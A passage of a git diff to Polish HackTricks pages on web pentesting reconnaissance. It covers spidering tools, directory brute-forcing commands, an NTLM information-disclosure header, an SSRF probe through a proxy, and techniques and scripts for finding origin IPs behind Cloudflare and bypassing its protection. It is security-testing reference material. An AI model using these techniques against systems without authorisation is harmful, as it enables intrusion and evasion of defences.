jak największej liczby ścieżek** w testowanej aplikacji. Dlatego należy wykorzystać przeszukiwanie sieci oraz zewnętrzne źródła, aby znaleźć jak najwięcej prawidłowych ścieżek. +Uruchom jakiś rodzaj **pająka** w sieci. Celem pająka jest **znalezienie jak największej liczby ścieżek** w testowanej aplikacji. Dlatego należy użyć przeglądania stron internetowych i zewnętrznych źródeł, aby znaleźć jak najwięcej prawidłowych ścieżek. * [**gospider**](https://github.com/jaeles-project/gospider) (go): Pająk HTML, LinkFinder w plikach JS i zewnętrzne źródła (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com). * [**hakrawler**](https://github.com/hakluke/hakrawler) (go): Pająk HML, z LinkFider dla plików JS i Archive.org jako zewnętrzne źródło. * [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): Pająk HTML, wskazuje również "soczyste pliki". -* [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktywny pająk HTML w wierszu poleceń. Szuka również w Archive.org. -* [**meg**](https://github.com/tomnomnom/meg) (go): To narzędzie nie jest pająkiem, ale może być przydatne. Wystarczy wskazać plik z hostami i plik z ścieżkami, a meg pobierze każdą ścieżkę na każdym hoście i zapisze odpowiedź. +* [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktywny pająk HTML w wierszu poleceń. Szuka także w Archive.org. +* [**meg**](https://github.com/tomnomnom/meg) (go): To narzędzie nie jest pająkiem, ale może być przydatne. Możesz po prostu wskazać plik z hostami i plik z ścieżkami, a meg pobierze każdą ścieżkę na każdym hoście i zapisze odpowiedź. * [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): Pająk HTML z możliwościami renderowania JS. Jednak wygląda na to, że nie jest rozwijany, skompilowana wersja jest stara, a obecny kod nie kompiluje się. -* [**gau**](https://github.com/lc/gau) (go): Pająk HTML korzystający z zewnętrznych dostawców (wayback, otx, commoncrawl). +* [**gau**](https://github.com/lc/gau) (go): Pająk HTML korzystający z zewnętrznych dostawców (wayback, otx, commoncrawl) * [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Ten skrypt znajdzie adresy URL z parametrami i je wymieni. * [**galer**](https://github.com/dwisiswant0/galer) (go): Pająk HTML z możliwościami renderowania JS. * [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): Pająk HTML, z możliwościami upiększania JS zdolny do wyszukiwania nowych ścieżek w plikach JS. Warto również spojrzeć na [JSScanner](https://github.com/dark-warlord14/JSScanner), który jest nakładką na LinkFinder. -* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Do wyodrębniania punktów końcowych zarówno w źródle HTML, jak i osadzonych plikach javascript. Przydatne dla łowców błędów, drużyn czerwonych i ninja bezpieczeństwa informacji. +* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Do wyodrębniania punktów końcowych zarówno w źródle HTML, jak i osadzonych plikach javascript. Przydatne dla łowców błędów, drużyn czerwonych, ninja bezpieczeństwa informacji. * [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Skrypt python 2.7 używający Tornado i JSBeautifier do analizowania względnych adresów URL z plików JavaScript. Przydatne do łatwego odkrywania żądań AJAX. Wygląda na to, że nie jest rozwijany. * [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dla danego pliku (HTML) wyodrębni adresy URL z niego, używając sprytnego wyrażenia regularnego do znalezienia i wyodrębnienia względnych adresów URL z brzydkich (zmniejszonych) plików. -* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, kilka narzędzi): Zbiera interesujące informacje z plików JS, korzystając z kilku narzędzi. +* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, kilka narzędzi): Zbiera interesujące informacje z plików JS za pomocą kilku narzędzi. * [**subjs**](https://github.com/lc/subjs) (go): Znajdź pliki JS. -* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Ładuje stronę w przeglądarce bez wyświetlania i drukuje wszystkie załadowane adresy URL do załadowania strony. +* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Ładuje stronę w przeglądarce bez interfejsu i drukuje wszystkie załadowane adresy URL, aby załadować stronę. * [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Narzędzie do odkrywania treści łączące kilka opcji poprzednich narzędzi * [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Rozszerzenie Burp do znajdowania ścieżek i parametrów w plikach JS. -* [**Sourcemapper**](https://github.com/denandz/sourcemapper): Narzędzie, które po podaniu adresu .js.map URL uzyska uporządkowany kod JS +* [**Sourcemapper**](https://github.com/denandz/sourcemapper): Narzędzie, które podając adres URL .js.map, uzyska uporządkowany kod JS * [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Jest to narzędzie używane do odkrywania punktów końcowych dla określonego celu. * [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Odkryj linki z maszyny wayback (pobierając również odpowiedzi w wayback i szukając więcej linków -* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Przeszukuje (nawet poprzez wypełnianie formularzy) i znajduje również wrażliwe informacje, korzystając z określonych wyrażeń regularnych. +* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Przeglądaj (nawet poprzez wypełnianie formularzy) i znajduj również informacje poufne, korzystając z określonych wyrażeń regularnych. * [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite to zaawansowany wielofunkcyjny pająk GUI do bezpieczeństwa sieciowego zaprojektowany dla profesjonalistów cyberbezpieczeństwa. -* [**jsluice**](https://github.com/BishopFox/jsluice) (go): Jest to pakiet Go i [narzędzie wiersza poleceń](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) do wyodrębniania adresów URL, ścieżek, sekretów i innych interesujących danych z kodu źródłowego JavaScript. +* [**jsluice**](https://github.com/BishopFox/jsluice) (go): Jest to pakiet Go i [narzędzie wiersza poleceń](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) do wyodrębniania adresów URL, ścieżek, sekretów i innych ciekawych danych z kodu źródłowego JavaScript. * [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge to proste rozszerzenie **Burp Suite** do **wyodrębniania parametrów i punktów końcowych** z żądania w celu utworzenia niestandardowej listy słów do fuzzowania i wyliczania. -### Brute Force katalogów i plików +### Przemierzanie katalogów i plików metodą brutalnej siły -Rozpocznij **brute force** od katalogu głównego i upewnij się, że **brute force** jest wykonywany na **wszystkich** znalezionych **katalogach** za pomocą **tej metody** oraz wszystkich katalogów **odkrytych** przez **Spidering** (możesz wykonać to **rekurencyjnie** i dołączyć na początku używanej listy słów nazwy znalezionych katalogów).\ +Zacznij **przemierzać** od katalogu głównego i upewnij się, że **przemierzasz wszystkie znalezione katalogi** za pomocą **tej metody** oraz wszystkie katalogi **odkryte** podczas **przeglądania stron** (możesz to zrobić **rekurencyjnie** i dodając na początku używanej listy słów nazwy znalezionych katalogów).\ Narzędzia: * **Dirb** / **Dirbuster** - Zawarte w Kali, **stare** (i **wolne**), ale funkcjonalne. Pozwalają na automatyczne podpisywanie certyfikatów i rekurencyjne wyszukiwanie. Zbyt wolne w porównaniu z innymi opcjami. * [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Nie pozwala na automatyczne podpisywanie certyfikatów, ale** umożliwia rekurencyjne wyszukiwanie. -* [**Gobuster**](https://github.com/OJ/gobuster) (go): Pozwala na automatyczne podpisywanie certyfikatów, nie ma funkcji rekurencyjnego wyszukiwania. +* [**Gobuster**](https://github.com/OJ/gobuster) (go): Pozwala na automatyczne podpisywanie certyfikatów, nie ma rekurencyjnego wyszukiwania. * [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Szybki, obsługuje rekurencyjne wyszukiwanie.** * [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ` * [**ffuf** ](https://github.com/ffuf/ffuf)- Szybki: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` @@ -264,9 +264,9 @@ Narzędzia: **Polecane słowniki:** * [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt) -* Słownik dołączony do [**Dirsearch**](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt) +* [**Dirsearch** dołączony słownik](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt) * [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10) -* [Słowniki Assetnote](https://wordlists.assetnote.io) +* [Assetnote wordlists](https://wordlists.assetnote.io) * [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content) * raft-large-directories-lowercase.txt * directory-list-2.3-medium.txt @@ -275,30 +275,31 @@ Narzędzia: * [https://github.com/google/fuzzing/tree/master/dictionaries](https://github.com/google/fuzzing/tree/master/dictionaries) * [https://github.com/six2dez/OneListForAll](https://github.com/six2dez/OneListForAll) * [https://github.com/random-robbie/bruteforce-lists](https://github.com/random-robbie/bruteforce-lists) +* [https://github.com/ayoubfathi/leaky-paths](https://github.com/ayoubfathi/leaky-paths) * _/usr/share/wordlists/dirb/common.txt_ * _/usr/share/wordlists/dirb/big.txt_ * _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_ -_Zauważ, że za każdym razem, gdy odkryjesz nowy katalog podczas ataku brutalnej siły lub przeszukiwania, należy go poddać atakowi brutalnej siły._ +_Zauważ, że za każdym razem, gdy odkryjesz nowy katalog podczas ataku brutalnego lub przeszukiwania, należy go poddać atakowi brutalnemu._ ### Co sprawdzić w każdym znalezionym pliku -* [**Sprawdzacz uszkodzonych linków**](https://github.com/stevenvachon/broken-link-checker): Znajdź uszkodzone linki wewnątrz plików HTML, które mogą być podatne na przejęcia. -* **Kopie zapasowe plików**: Gdy znajdziesz wszystkie pliki, poszukaj kopii zapasowych wszystkich plików wykonywalnych ("_.php_", "_.aspx_"...). Powszechne warianty nazw kopii zapasowych to: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp i file.old._ Możesz również skorzystać z narzędzi [**bfac**](https://github.com/mazen160/bfac) **lub** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** +* [**Sprawdzacz uszkodzonych linków**](https://github.com/stevenvachon/broken-link-checker): Znajdź uszkodzone linki wewnątrz plików HTML, które mogą być podatne na przejęcie +* **Kopie zapasowe plików**: Gdy znajdziesz wszystkie pliki, poszukaj kopii zapasowych wszystkich plików wykonywalnych ("_.php_", "_.aspx_"...). Powszechne warianty nazewnictwa kopii zapasowych to: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp i file.old._ Możesz również skorzystać z narzędzi [**bfac**](https://github.com/mazen160/bfac) **lub** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** * **Odkryj nowe parametry**: Możesz użyć narzędzi takich jak [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **i** [**Param Miner**](https://github.com/PortSwigger/param-miner) **do odkrywania ukrytych parametrów. Jeśli możesz, spróbuj wyszukać** ukryte parametry w każdym pliku wykonywalnym na stronie internetowej. * _Wszystkie domyślne listy słów Arjuna:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) * _Param-miner „params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) * _Assetnote „parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) * _nullenc0de „params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) * **Komentarze:** Sprawdź komentarze we wszystkich plikach, możesz znaleźć **dane uwierzytelniające** lub **ukrytą funkcjonalność**. -* Jeśli bawisz się w **CTF**, „powszechnym” trikiem jest **ukrycie informacji** wewnątrz komentarzy na **prawej** **stronie** **strony** (używając **setek** **spacji**, aby nie widzieć danych podczas otwierania kodu źródłowego w przeglądarce). Inna możliwość to użycie **kilku nowych linii** i **ukrycie informacji** w komentarzu na **dole** strony internetowej. +* Jeśli grasz w **CTF**, „powszechnym” trikiem jest **ukrycie** **informacji** w komentarzach na **prawej** **stronie** **strony** (używając **setek** **spacji**, aby nie widzieć danych podczas otwierania kodu źródłowego w przeglądarce). Inna możliwość to użycie **kilku nowych linii** i **ukrycie informacji** w komentarzu na **dole** strony internetowej. * **Klucze API**: Jeśli **znajdziesz jakikolwiek klucz API**, istnieje przewodnik, który wskazuje, jak korzystać z kluczy API różnych platform: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) -* Klucze API Google: Jeśli znajdziesz jakiś klucz API wyglądający jak **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik, możesz użyć projektu [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) do sprawdzenia, do których interfejsów API ma dostęp klucz. -* **S3 Buckets**: Podczas przeszukiwania zobacz, czy jakikolwiek **poddomena** lub **link** jest powiązany z jakimś **kubłem S3**. W takim przypadku [**sprawdź** **uprawnienia** kubła](buckets/). +* Klucze Google API: Jeśli znajdziesz jakiś klucz API wyglądający jak **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik, możesz skorzystać z projektu [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner), aby sprawdzić, do których interfejsów API ma dostęp klucz. +* **S3 Buckets**: Podczas przeszukiwania zwróć uwagę, czy jakikolwiek **poddomena** lub **link** jest powiązany z jakimś **kubłem S3**. W takim przypadku [**sprawdź** **uprawnienia** kubła](buckets/). ### Specjalne znaleziska -**Podczas** przeprowadzania **przeszukiwania** i **ataków brutalnej siły** możesz natrafić na **interesujące** **rzeczy**, na które musisz **zwrócić uwagę**. +**Podczas** przeszukiwania i **atakowania brutalnego** możesz natrafić na **interesujące** **rzeczy**, na które musisz **zwrócić uwagę**. **Interesujące pliki** @@ -306,14 +307,14 @@ _Zauważ, że za każdym razem, gdy odkryjesz nowy katalog podczas ataku brutaln * [Jeśli znajdziesz plik _**.git**_, można z niego wyciągnąć pewne informacje](git.md) * Jeśli znajdziesz plik _**.env**_, można w nim znaleźć informacje takie jak klucze API, hasła do baz danych i inne informacje. * Jeśli znajdziesz **punkty końcowe API**, [również powinieneś je przetestować](web-api-pentesting.md). Nie są to pliki, ale prawdopodobnie będą na nie podobne. -* **Pliki JS**: W sekcji przeszukiwania wspomniano o kilku narzędziach, które mogą wydobywać ścieżki z plików JS. Również interesujące byłoby **monitorowanie każdego znalezionego pliku JS**, ponieważ w niektórych przypadkach zmiana może wskazywać na potencjalną podatność wprowadzoną w kodzie. Możesz użyć na przykład [**JSMon**](https://github.com/robre/jsmon)**.** +* **Pliki JS**: W sekcji przeszukiwania wspomniano o kilku narzędziach, które mogą wydobywać ścieżki z plików JS. Ponadto, byłoby interesujące **monitorować każdy znaleziony plik JS**, ponieważ w niektórych przypadkach zmiana może wskazywać na potencjalną podatność wprowadzoną w kodzie. Możesz na przykład użyć [**JSMon**](https://github.com/robre/jsmon)**.** * Sprawdź znalezione pliki JS za pomocą [**RetireJS**](https://github.com/retirejs/retire.js/) lub [**JSHole**](https://github.com/callforpapers-source/jshole), aby sprawdzić, czy są podatne. * **Deobfuskator i dekoder JavaScript:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator) -* **Upiększacz JavaScript:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org) +* **Uporządkowujący JavaScript:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org) * **Deobfuskacja JsFuck** (javascript z znakami:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/)) * [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` -* W kilku przypadkach będziesz musiał **zrozumieć wyrażenia regularne** używane, co będzie przydatne: [https://regex101.com/](https://regex101.com) -* Możesz również **monitorować pliki, w których wykryto formularze**, ponieważ zmiana w parametrze lub pojawienie się nowego formularza może wskazywać na potencjalną nową podatną funkcjonalność. +* W kilku sytuacjach będziesz musiał **zrozumieć wyrażenia regularne** używane, co może być przydatne: [https://regex101.com/](https://regex101.com) +* Możesz również **monitorować pliki, w których wykryto formularze**, ponieważ zmiana w parametrze lub pojawienie się nowego formularza może wskazywać na potencjalnie nową podatną funkcjonalność. **403 Forbidden/Basic Authentication/401 Unauthorized (omijanie)** @@ -323,26 +324,26 @@ _Zauważ, że za każdym razem, gdy odkryjesz nowy katalog podczas ataku brutaln **502 Proxy Error** -Jeśli jakakolwiek strona **odpowiada** tym **kodem**, prawdopodobnie jest to **źle skonfigurowany serwer proxy**. **Jeśli wyślesz żądanie HTTP takie jak: `GET https://google.com HTTP/1.1`** (z nagłówkiem hosta i innymi standardowymi nagłówkami), **proxy** spróbuje **uzyskać dostęp do** _**google.com**_ **i znajdziesz** SSRF. +Jeśli jakakolwiek strona **odpowiada** tym **kodem**, prawdopodobnie jest to **źle skonfigurowany serwer proxy**. **Jeśli wyślesz żądanie HTTP takie jak: `GET https://google.com HTTP/1.1`** (z nagłówkiem hosta i innymi standardowymi nagłówkami), **serwer proxy** spróbuje uzyskać dostęp do _**google.com**_ **i w ten sposób odkryjesz** SSRF. **Autoryzacja NTLM - Ujawnienie informacji** -Jeśli działający serwer wymaga autoryzacji **Windows** lub znajdziesz logowanie proszące o **dane uwierzytelniające** (i proszące o **nazwę domeny**), możesz spowodować **ujawnienie informacji**.\ -**Wyślij** **nagłówek**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` i ze względu na to, jak działa autoryzacja **NTLM**, serwer odpowie wewnętrznymi informacjami (wersja IIS, wersja Windows...) w nagłówku "WWW-Authenticate".\ +Jeśli działający serwer wymaga autoryzacji **Windows** lub znajdziesz logowanie proszące o **dane uwierzytelniające** (i pytające o **nazwę domeny**), możesz spowodować **ujawnienie informacji**.\ +**Wyślij** **nagłówek**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` i ze względu na sposób działania **autoryzacji NTLM**, serwer odpowie wewnętrznymi informacjami (wersja IIS, wersja Windows...) w nagłówku "WWW-Authenticate".\ Możesz to **zautomatyzować** za pomocą **wtyczki nmap** "_http-ntlm-info.nse_". **Przekierowanie HTTP (CTF)** -Możliwe jest **umieszczenie treści** wewnątrz **przekierowania**. Ta treść **nie będzie pokazywana użytkownikowi** (ponieważ przeglądarka wykonuje przekierowanie), ale coś może być **ukryte** w środku. -### Sprawdzanie podatności sieci webowej +Możliwe jest **umieszczenie treści** wewnątrz **przekierowania**. Ta treść **nie będzie widoczna dla użytkownika** (ponieważ przeglądarka wykonuje przekierowanie), ale coś może być **ukryte** w środku. +### Sprawdzanie podatności sieci Web -Po przeprowadzeniu kompleksowego wyliczenia aplikacji sieci webowej nadszedł czas, aby sprawdzić wiele potencjalnych podatności. Możesz znaleźć listę kontrolną tutaj: +Po wykonaniu kompleksowego wyliczenia aplikacji sieci Web nadszedł czas, aby sprawdzić wiele możliwych podatności. Możesz znaleźć listę kontrolną tutaj: {% content-ref url="../../pentesting-web/web-vulnerabilities-methodology.md" %} [web-vulnerabilities-methodology.md](../../pentesting-web/web-vulnerabilities-methodology.md) {% endcontent-ref %} -Dowiedz się więcej o podatnościach sieci webowej: +Dowiedz się więcej o podatnościach sieci Web: * [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist) * [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html) @@ -354,7 +355,7 @@ Możesz użyć narzędzi takich jak [https://github.com/dgtlmoon/changedetection
-Jeśli interesuje Cię **kariera hakera** i chcesz hakować nie do złamania - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_). +Jeśli interesuje Cię **kariera hakera** i hakowanie niemożliwych do zhakowania rzeczy - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_). {% embed url="https://www.stmcyber.com/careers" %} diff --git a/network-services-pentesting/pentesting-web/uncovering-cloudflare.md b/network-services-pentesting/pentesting-web/uncovering-cloudflare.md index f7cf20380..1ad2abc8d 100644 --- a/network-services-pentesting/pentesting-web/uncovering-cloudflare.md +++ b/network-services-pentesting/pentesting-web/uncovering-cloudflare.md @@ -2,38 +2,38 @@
-Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! +Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! Inne sposoby wsparcia HackTricks: -* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)! +* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)! * Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) * Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) -* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+## Powszechne Techniki Odkrywania Cloudflare -## Wspólne techniki odkrywania Cloudflare - -* Możesz użyć usługi, która udostępnia **historyczne rekordy DNS** domeny. Być może strona internetowa działa na adresie IP używanym wcześniej. -* To samo można osiągnąć, **sprawdzając historyczne certyfikaty SSL**, które mogą wskazywać na adres IP źródłowy. -* Sprawdź również **rekordy DNS innych subdomen wskazujących bezpośrednio na adresy IP**, ponieważ możliwe jest, że inne subdomeny wskazują na ten sam serwer (być może w celu udostępnienia FTP, poczty lub innej usługi). +* Możesz skorzystać z usługi, która udostępnia **historyczne rekordy DNS** domeny. Być może strona internetowa działała wcześniej na adresie IP. +* To samo można osiągnąć, sprawdzając **historyczne certyfikaty SSL**, które mogą wskazywać na adres IP źródłowy. +* Sprawdź również **rekordy DNS innych subdomen wskazujących bezpośrednio na adresy IP**, ponieważ możliwe jest, że inne subdomeny wskazują na ten sam serwer (być może w celu oferowania FTP, poczty lub innej usługi). * Jeśli znajdziesz **SSRF wewnątrz aplikacji internetowej**, możesz go wykorzystać, aby uzyskać adres IP serwera. -* Wyszukaj unikalny ciąg znaków ze strony internetowej w przeglądarkach, takich jak shodan (a być może google i podobne?). Być może znajdziesz adres IP zawierający ten treść. -* W podobny sposób, zamiast szukać unikalnego ciągu znaków, możesz wyszukać ikonę favicon za pomocą narzędzia: [https://github.com/karma9874/CloudFlare-IP](https://github.com/karma9874/CloudFlare-IP) lub [https://github.com/pielco11/fav-up](https://github.com/pielco11/fav-up) -* To nie będzie działać bardzo często, ponieważ serwer musi wysyłać tę samą odpowiedź, gdy jest odwoływany przez adres IP, ale nigdy nie wiesz. +* Wyszukaj unikalny ciąg znaków strony internetowej w przeglądarkach takich jak shodan (a być może google i podobne?). Być może znajdziesz adres IP z tym treścią. +* W podobny sposób zamiast szukać unikalnego ciągu znaków, możesz wyszukać ikonę favicon za pomocą narzędzia: [https://github.com/karma9874/CloudFlare-IP](https://github.com/karma9874/CloudFlare-IP) lub [https://github.com/pielco11/fav-up](https://github.com/pielco11/fav-up) +* To nie będzie działać zbyt często, ponieważ serwer musi wysłać tę samą odpowiedź, gdy jest odwoływany się przez adres IP, ale nigdy nie wiesz. -## Narzędzia do odkrywania Cloudflare +## Narzędzia do Odkrywania Cloudflare -* Wyszukaj domenę w [http://www.crimeflare.org:82/cfs.html](http://www.crimeflare.org:82/cfs.html) lub [https://crimeflare.herokuapp.com](https://crimeflare.herokuapp.com). Lub użyj narzędzia [CloudPeler](https://github.com/zidansec/CloudPeler) (które korzysta z tej samej API) +* Wyszukaj domenę w [http://www.crimeflare.org:82/cfs.html](http://www.crimeflare.org:82/cfs.html) lub [https://crimeflare.herokuapp.com](https://crimeflare.herokuapp.com). Lub skorzystaj z narzędzia [CloudPeler](https://github.com/zidansec/CloudPeler) (które wykorzystuje to API) * Wyszukaj domenę w [https://leaked.site/index.php?resolver/cloudflare.0/](https://leaked.site/index.php?resolver/cloudflare.0/) -* [**CloudFlair**](https://github.com/christophetd/CloudFlair) to narzędzie, które będzie wyszukiwać certyfikaty Censys zawierające nazwę domeny, następnie będzie szukać adresów IPv4 w tych certyfikatach, a na koniec spróbuje uzyskać dostęp do strony internetowej na tych adresach IP. +* [**CloudFlair**](https://github.com/christophetd/CloudFlair) to narzędzie, które będzie wyszukiwać certyfikaty Censys zawierające nazwę domeny, a następnie będzie szukać adresów IPv4 w tych certyfikatach, a ostatecznie spróbuje uzyskać dostęp do strony internetowej pod tymi adresami IP. +* [**CloakQuest3r**](https://github.com/spyboy-productions/CloakQuest3r): CloakQuest3r to potężne narzędzie Pythona starannie opracowane, aby odkryć prawdziwy adres IP stron internetowych zabezpieczonych przez Cloudflare i inne alternatywy, powszechnie stosowaną usługę poprawiającą bezpieczeństwo i wydajność sieci. Jego głównym celem jest dokładne rozpoznanie rzeczywistego adresu IP serwerów internetowych ukrytych za osłoną ochronną Cloudflare. * [Censys](https://search.censys.io/) * [Shodan](https://shodan.io/) * [Bypass-firewalls-by-DNS-history](https://github.com/vincentcox/bypass-firewalls-by-DNS-history) -* Jeśli masz zestaw potencjalnych adresów IP, na których znajduje się strona internetowa, możesz użyć [https://github.com/hakluke/hakoriginfinder](https://github.com/hakluke/hakoriginfinder) +* Jeśli masz zestaw potencjalnych adresów IP, gdzie znajduje się strona internetowa, możesz skorzystać z [https://github.com/hakluke/hakoriginfinder](https://github.com/hakluke/hakoriginfinder) ```bash # You can check if the tool is working with prips 1.0.0.0/30 | hakoriginfinder -h one.one.one.one @@ -47,7 +47,7 @@ echo "Checking $ir" prips $ir | hakoriginfinder -h "$DOMAIN" done ``` -## Odkrywanie Cloudflare z maszyn w chmurze +## Odkrywanie Cloudflare z maszyn chmurowych Należy zauważyć, że nawet jeśli to zostało wykonane dla maszyn AWS, można to zrobić dla dowolnego innego dostawcy chmury. @@ -67,38 +67,38 @@ cat webs.json | jq -r "select((.failed==false) and (.chain_status_codes | length # Search via Host header httpx -json -no-color -list aws_webs.json -header Host: cloudflare.malwareworld.com -threads 250 -random-agent -follow-redirects -o web_checks.json ``` -## Omijanie Cloudflare za pomocą Cloudflare +## Ominięcie Cloudflare poprzez Cloudflare -### Uwierzytelnione Origin Pulls +### Uwierzytelnione Pochodzenie Pobiera -Ten mechanizm polega na **użyciu certyfikatów SSL klienta** do uwierzytelniania połączeń między serwerami **odwrotnego proxy Cloudflare** a serwerem **pochodzenia**, co nazywane jest **mTLS**. +Ten mechanizm polega na **certyfikatach SSL klienta** do uwierzytelniania połączeń między serwerami **odwrotnego proxy Cloudflare** a serwerem **pochodzenia**, który jest nazywany **mTLS**. -Zamiast konfigurować własny certyfikat, klienci mogą po prostu użyć certyfikatu Cloudflare, aby umożliwić dowolne połączenie z Cloudflare, **bez względu na najemcę**. +Zamiast konfigurować własny certyfikat, klienci mogą po prostu użyć certyfikatu Cloudflare, aby zezwolić na dowolne połączenie z Cloudflare, **bez względu na najemcę**. {% hint style="danger" %} -W związku z tym, atakujący może po prostu ustawić **domenę w Cloudflare, używając certyfikatu Cloudflare** i skierować ją na adres IP **ofiary**. W ten sposób, ustawiając swoją domenę całkowicie niechronioną, Cloudflare nie będzie chronić wysyłanych żądań. +Dlatego atakujący mógłby po prostu ustawić **domenę w Cloudflare, używając certyfikatu Cloudflare i skierować** ją na adres IP **ofiary**. W ten sposób, ustawiając swoją domenę całkowicie niechronioną, Cloudflare nie będzie 